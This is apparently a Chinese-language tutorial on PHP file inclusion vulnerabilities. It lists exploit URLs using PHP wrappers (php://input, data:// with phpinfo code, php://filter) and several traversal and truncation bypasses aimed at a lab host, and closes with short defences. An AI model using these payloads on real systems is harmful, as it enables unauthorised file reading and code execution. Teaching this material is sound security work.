什么是文件包含漏洞
- 什么是文件包含?
为了更好地使用代码的 重用性 ,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。 - 文件包含分为本地文件包含和远程文件包含。
- 文件包含漏洞的成因是什么?
在包含文件时,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值进行改变,而服务器端未对变量的值进行合理性校验或者检验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。
1 |
|
文件包含函数
1 | 文件包含: |
include
,有返回值,如果改函数包含的文件路径有误,不影响下面代码的执行
require
,无返回值, 如果改函数包含的文件路径有误,会中断下面代码的执行
文件包含漏洞的利用方式—伪协议
协议 | 用法 |
---|---|
file:// | ?file=file://D:soft/phpStudy/www/phpcode.txt |
php://filter | ?file=php://filter/read=convert.base64-encode/resource=./index.php |
php://input | ?file=php://input [POST DATA] <?php phpinfo();?> |
zip:// | ?file=zip:///D:soft/phpStudy/www/file.zip%23phpcode.txt |
compress.bzip2:// | ?file=compress.bzip2:///D:soft/phpStudy/www/file.bz2 [or] ?file=compress.bzip2://./file.bz2 |
compress.zlib:// | ?file=compress.zlib://D:soft/phpStudy/www/file.gz [or] ?file=compress.zlib://./file.gz |
data:// | ?file=data://text/plain,<?php phpinfo();?> [or] ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= [or] file=data:text/plain,<?php phpinfo();?> [or] ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= |
说明:
- php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤。
- php://input 可以访问请求的原始数据的只读流,将post请求的数据当做php代码执行。
- data:// 同样类似php://input ,可以让用户来控制输入流。
文件包含漏洞的利用方式—其他
- %00截断绕过
示例:后台php代码
1 | include("includes/".$_GET['page'].".php"); |
可以构造url
1 | http://192.168.0.5/?page=../flag.php%00 |
- 点加斜杠绕过
示例:后台php代码
1 | if(substr($_GET['page'],-4,4) != '.php') //取后缀名 |
可以构造url
1 | http://192.168.0.5/?page=../flag.php. |
- 去掉后缀名绕过
示例:后台php代码
1 | $path = 'includes/class_'.addslashes($_GET['class']).'.php'; |
可以构造url
1 | http://192.168.0.5/?class=../flag |
- 双写绕过
示例:后台php代码
1 | $file = str_replace('../','',$_GET['file']); |
可以构造url
1 | http://192.168.0.5/?file=..././flag.php |
- 文件包含写shell
示例:后台php代码
1 | include($_POST["page"]); |
可以利用hackbar添加POST参数
1 | page=../image.jpg |
- 长度截断(Windows:256, Linux:4096)
- 包含日志文件
- 包含session
文件包含漏洞的防御
- PHP中使用open_basedir 配置限制访问在指定的区域
- 过滤 . / \
- 禁止服务器远程文件包含
- 尽量不要使用动态文件包含,可在需要包含的页面固定写好